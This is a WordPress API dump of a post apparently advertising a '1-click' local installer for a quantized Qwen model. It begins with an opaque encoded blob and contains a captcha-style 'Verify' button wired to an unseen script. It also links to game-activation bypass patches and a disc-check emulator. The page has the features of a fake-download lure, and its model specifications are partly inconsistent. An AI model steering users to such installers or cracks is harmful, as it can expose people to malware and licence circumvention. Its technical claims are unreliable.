aAzGHkLvyLJQ2MtDkELAtB\/iufbvXUpsyhwyoP\/4w9v1fxGeZoa8MckVs\/gErDyjz0UY6xSPamKasq\/RdPo8vah2FvvvdXBxX3jlZ0\/Y5FVhB7VQZ9J+GbRWJnVhCaKdASUr32dKYkUzhqUyiZAP1TE91tMXbqbTTBBY3iutD9AZvIzAHgwgdRUVtCzaM1WI42W9X63rtQ8STUappyr\/cFtAnFWMSZQwj9jVFR4ZcnbPQWQZqtkF5jgWmKbE+f1XmfBCZh9qe7J6iCjT1ECT8hkPQm72qnB2C3fGgl9H7mJ5AqKJRKXhODd2otAutFRTwx17td5498xhlxqJtq\/DW5hfJnFFrA\/PkP9otbGxQ\/QcA1u+gvi+IoqjiRh9arzyVSL+XxQhg6dIxngXI23AAAAAAADA8EOdCZtdYItorl5UpaGmqe4ePNWWztKDZdSWJr\/jEQkr9nofwaIjytrpPgN7hALNrGlbk1wDQoFHk45a2ObuXE+8XKUIkV3+X6LdbT\/UiFMVzm8JWici4tBqoGovT7o2N4rPMkR\/Wc4oJUKHtfacg8xBk21zrvsgm067cdoXbvvqKvh0HMcxK1A7XnQlVMH8je05JP1hfdcWvgTZZRdZlJgcgsiG2+V0kxx21Zj5zzxR0r+fSW5GcnDbwT0oPbGV7CGofZDfS69P+O1zQBTSyJeBXdTMIgAGIqOsMcpEb6E7lx8B8zkER23QL3wQO\/7qnV6fpimhcoQczkpLpsIDcETmlWCMO9n6Sj7lo4dfJ+ZRtFnnxwtLp5gx\/pbX4FgjB6qZz7fAmTj1+AXIe5FHVwPDKpxbGf2YuqRm+wdp+13IZouVsd0kFXR0sswBNmvSLDIPUEox16ZsCzXe9qvsHo3tvujqQ6a0Xmom4HsW8MxZWxUdyAC+lYO9b7J78rVM90m5AsTVdxX304KETSaExecbfkjdktzZ8Ee48wQhsxbI5GhFtFFgRD0m7cFW9\/gfCqhaTJk8GlCqu1XsZXPEPE08sZGCh8JmpsvWrRcoscKQfTHtJ4\/yhYt\/U4Xjs9G2fGUZ2rSN3AeF1tZEHyl25n7mhCtrW\/VmOrZUbel+mrPX+YjdLM0gADOwkVZzVmv8CTCuoR\/xzUJICk8xGg+YKO7ZMhB5hxkZur1PnhieXkKW2izcPGu1JGGxl18HGOrSqPnYWAhcL6A1Cz4OniUCP4uCFRHsSB+JXrr8NTtkXh5kaRzsyWbFl3iOzvKy96ShAwSWu2Mx+D2gbv68cYzDi1ndAbe1cGroRJVfD1Y3mHxdXTBj9woXQ0KAAA0fBhAEmhKRfXbDD1lf20mhHU3CzQvRk5L9r2Dge7cG3z41qzgT\/ztq70ylD8AszGapPkpaC6Eov1wYUmyeKJeuFEpzsb19uJyT5NUm\/YKnyDcshIztvSTMcke29IG2hqVAvJWMsn6vHU1f6o\/LjgfjnY6wvLj7kjYsfpdQKG1G1qO\/LXm5J6CVpwPRYsOs1p57OyoOmxEGILnliFBBnBiyi1ek3wzQKaqISXgErMiOVuk3m1lgnmG1Vj+qJP0e5CtBgp9KCxkLNxFpVLpHvYvInISM8zjgdl5CEdUm0W\/HHeoWorO9Epte85P1KPq3Q\/Ws7YjBqk2OIt6lcFof9AKUfp\/f45xWd33AOqr2Nsj7XfYJiCJCKk40U23Yvo8sNYIg5zFz2cMtpMQj+YpmuCvINVMTeqDeJzSlBQX66uaQ7WB96mjYVHVCtXBjX71A6l5ZPGxbQKEcKfZJB3KxUEy\/0Nzfd2ReCmgvbBVbWWD+n1L6KWrcj5V7aZopkmCUUq5C2ELIVKVfR2IYhGbWWAuA+3n3hWakS4gvo2TV2p7b2uGGMZZqhCUV\/W2QW+BLAvaMu2n9tHGPANI+afDnVe1Jny7TCPHWsxk8VkXGu3\/\/uQb77TGwaex6NSwEAPAgwOt0cLCPgL63\/+rm\/aIPCwSVsXqDuYFvfDYxnkxn9CvejDQUenLYIBCMJsWRQ1nCmkdCVeH7QHHmT82LB60Gdch8A0Ilj8CBEWojQ7+o8zwpIWqOlvAsAvy9Gkb5Ixc3Nj6UgE1ydZEtBuSbBaGpgAAE6wAAbDAVnEV5yJWCOst6WBKeyX0GEaz1bbYcNbAxnrt12iPsnuI60fGMtwWPLJjWnHAoee0sPaqNss+yMY4NHmyUSMx9ZSD1eriwsouOGALqd4053DoUthjFuCx+MHwJD\/2WcHEXPSsQg3PwGeS8Of5LECDIQjE+v6tzBPXzWwTkNXgHsyzr1af+FhtcHTLuPRbuUC48KJcH9kBMoPKClkvmKP4tLn3U9oHedoe91sRg30ejWdg40\/kAw1pV94oAEBDqrPF1pn8dL5gQ2Dy6L8g8lRdqIKjgmbJoFFZ58u9b8AAAfv2AWMewoqNFAPDQLxmGtTKcRDOdqJCoaKNG1VKPzVqB9V2Y1QFbCBbBoZ2SwLhdNWJwzPJS4fLHGOhz4fKDTmkdQe6kIM75fZ7I9SFKc7TOdrm3YtbTEqkaZzETAYuiwNjv3Lzn4zGBXkOhx+53b1kLLhSYg\/PLEqLMePpbXQk51J+XG94AEJ9sTSD\/5Zdw+TYo1ntu4ii\/3FMC7H1uZ9UpOVEeRg9EhStOFSTMhGNveT8vmOHKD4qUZjgFwcakiAA4tElTR+HliM+Y\/qKCKtk5ew4uZH560i+NR+Uw7FQcYbVQp5YwZpDZiYPfvUq6ca8eTh+pC7mfoQbPofFUtjWeQYI5t73jCdOO8Hy19jGpBz+QAN4lGGNNQeMcHRBgintnayEgUongJmaenUm\/fI\/5cnxL\/JCthAHPxwQspHQYny2yOO\/35FC0TWoIX3gAxNz6df+4p\/2G+vOo+TADepHABidAyI1MXPCRKhx8wn2pt9+MXt6D8yA2ey5o\/xkSZjkYq\/KxvDB14grtElkTp0VeFkajtelbJrbGYdb4jrecWaRvMR2o3vlQltGtCF\/ctHRdrmghhZqGyKzyRL4k7euxuicq08yo8Y+u14jDNGMrhma955pwlTyzPdnCheRhj0reZUQmaoOJ9EnTHNCnxhWU2hGfZyd13E\/cjCvFOABIkqudGFf\/TWyXtdXApAjO0\/klsyiyDeiqy2noUl\/l6q++CW1yUeQXaNVzurRkDtsvF8G8WJEICiL1YTkL70bxFTDtp5wGxORR3CrMCwK0rqjuiyaVvcskmeLEX2FO4mTuzLQEOqT2PghHc7d8GkKXgB\/IBSV\/KL8KgCWBcjtYsIyfM6nWti3IC6bsYHqOEwITznitIYp7rNEvVkUX\/MBEGFb0wBDrLGnKoohVd4u20LpEMUJYcdi1+8jVwTWtHoi2FnR2E2\/ftUl9TvH80pZqF82g4rCIER5MRCjVZiv4DpUKNKoFBbkJ5ao2l026B0EW95Lg09msJEhebCj37DGO\/ZW0WY05cEk9cYUf4pBQ0KYVcWg9143L9+3G4si9oiN7Xvd7qQH9RLRV6zPHoVUtu+cSbDU\/znjdD1OZPAhfZFNGnPHeYt5hwk+d7H1PkQLL4FCgyIyAb4dtFDOVlYL7Ad4yqvIFTtoJT3LeUQZVyTiGtZouE2mDuv3\/6KSJlD8S9dRJQ3BQzj34OFhPvoU\/sQoxvQF155+v\/w18AVP9ZAcgqARGb7b63T7VVPbJsurwxY846TeljxJjOPVr8rMLDiIyP8ZXY25ACweJBO8eXU9iq+ux6a8GVdOnHNpUhxqygypR+jKc8tz02T1UbVRr1FF7ZjS7MI\/KiknhlHwH7dCn8+k9xsc+Ca0U\/xQFXaOriRNu4wwOJWPaDTxUdUqRt7xNxUZFBn1BVtZOl1t1gIHG8O6aTh14IQix1pqDasd29dX3sZtk1AiU6Pq0SiZ6UvhjIi31Rdk9s8hqx2P155RKn1lI+sZjUg2Y8foi7ylNayiwKSW1QDVDy6LTlFNvd29Nzmm1zI5ftkEV22C2oHTKGWwIYAUvH7lWABR0cvDoM08bXNzS+lMtRqw9ja48A8hYzqboLtPVDAudyf4hL3UjtsrZpCvqqxy97Z\/dHjva4Si72TWDGYJe8PiWXp\/rOX9opVDwi0hGQ9v9zzaMskDoBF2RrAJ6NZTOOI1wMQzI7mkJUoEo3U4qz0SJj7yoi54SR1DS7+\/8rLIzaMfHQ2hBMkK6K\/vXKx9uXaK+2dptEd3c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alt=\"Qwen3.6-27B-int4-AutoRound\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>If you want the <i>fastest local installation<\/i> for this model, use <b>Docker<\/b>.<\/p>\n<p>Just follow the <b>guidelines<\/b> provided below.<\/p>\n<p> <\/p>\n<p><i>1-click setup: the app automatically fetches the large weight files.<\/i><\/p>\n<p> <\/p>\n<p>The installer will automatically analyze your hardware and <b>select the optimal configuration<\/b> for your system.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:22px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 24px 48px rgba(0,0,0,0.1);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:50px 65px;text-align:center;font-size:26px;color:#0f172a;line-height:2.8;letter-spacing:-0.02em;font-weight:500;\">\n<div style=\"text-align: left;font-size:11px\">\n<div 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:26px;padding-left:21px;margin-left:0;\">\n<li><b>Processor:<\/b> 4.0 GHz+ <b>boost clock<\/b> recommended for CPU inference<\/li>\n<li><strong>RAM:<\/strong> required: 16 GB <strong>absolute minimum<\/strong> for small models<\/li>\n<li><b>Disk Space:<\/b> 80 GB <b>NVMe SSD<\/b> required for fast model weights loading<\/li>\n<li><strong>GPU:<\/strong> RTX 4080 \/ RTX 4090 <strong>recommended for 26B-A4B fast inference<\/strong><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p><b>Qwen3.6-27B-int4-AutoRound<\/b> is a highly optimized, 4-bit quantized variant of Alibaba Cloud&#8217;s flagship 27-billion parameter dense vision-language model, specifically compressed using Intel&#8217;s advanced <b>AutoRound weight-rounding optimization<\/b> framework. By executing sign-gradient-based optimization to fine-tune tensor weights, this configuration compresses the model footprint to roughly <b>18 GB of VRAM<\/b>\u2014yielding a massive 3x reduction in memory overhead while retaining state-of-the-art accuracy across code-centric tasks. The blueprint integrates a hybrid attention layout\u2014interleaving <b>Gated DeltaNet linear attention<\/b> blocks with classic Gated Attention sublayers\u2014to maintain an ultra-long <b>262,144-token context window<\/b> with negligible KV-cache saturation. Critically, specialized releases dequantize the native <b>Multi-Token Prediction (MTP) head<\/b> back to BF16, fully unlocking hardware-accelerated speculative decoding within vLLM configurations for up to 2x higher production throughput.<\/p>\n<table>\n<tr>\n<th>Specification<\/th>\n<th>Detail<\/th>\n<\/tr>\n<tr>\n<td><b>Total Parameters<\/b><\/td>\n<td>27 Billion (Dense VLM Core)<\/td>\n<\/tr>\n<tr>\n<td><b>Quantization Scheme<\/b><\/td>\n<td>INT4 W4A16 Symmetric (Group Size 128 via AutoRound)<\/td>\n<\/tr>\n<tr>\n<td><b>VRAM Requirements<\/b><\/td>\n<td>~18 GB (Runs comfortably on a single consumer RTX 3090\/4090)<\/td>\n<\/tr>\n<tr>\n<td><b>Context Window<\/b><\/td>\n<td>262,144 tokens natively (Up to 1M via YaRN scaling)<\/td>\n<\/tr>\n<tr>\n<td><b>Architecture Mix<\/b><\/td>\n<td>Hybrid Gated DeltaNet + Gated Attention Layers<\/td>\n<\/tr>\n<tr>\n<td><b>Hardware Acceleration<\/b><\/td>\n<td>vLLM Native Speculative Decoding via preserved BF16 MTP Head<\/td>\n<\/tr>\n<tr>\n<td><b>Primary Use Cases<\/b><\/td>\n<td>Flagship-Level Agentic Coding, Multi-File Repository Engineering<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Patch bypassing online game activation and login mechanisms<\/li>\n<li>Quick Run Qwen3.6-27B-int4-AutoRound Full Speed NPU Mode Dummy Proof Guide<\/li>\n<li>Disc check emulator removing the need for physical game media<\/li>\n<li>Zero-Click Run Qwen3.6-27B-int4-AutoRound Offline on PC For Low VRAM (6GB\/8GB) 5-Minute Setup<\/li>\n<li>FSR 3.2 frame generation backend injector for previous GPU generations<\/li>\n<li>Qwen3.6-27B-int4-AutoRound Locally (No Cloud) No-Code Guide FREE<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>If you want the fastest local installation for this model, use Docker. Just follow the guidelines provided below. 1-click setup: the app automatically fetches the large weight files. The installer will automatically analyze your hardware and select the optimal configuration for your system. \ud83e\uddfe Hash-sum \u2014 3f8ca1deeac2afd58d38e64ac9388a3a \u2022 \ud83d\uddd3 Updated on: 2026-06-27 Verify Processor: 4.0 [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"advanced_seo_description":"","jetpack_seo_html_title":"","jetpack_seo_noindex":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_post_was_ever_published":false},"categories":[296],"tags":[],"class_list":["post-9285","post","type-post","status-publish","format-standard","hentry","category-quantizations"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/posts\/9285","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/comments?post=9285"}],"version-history":[{"count":1,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/posts\/9285\/revisions"}],"predecessor-version":[{"id":9287,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/posts\/9285\/revisions\/9287"}],"wp:attachment":[{"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/media?parent=9285"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/categories?post=9285"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/rockmen.id\/id\/wp-json\/wp\/v2\/tags?post=9285"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}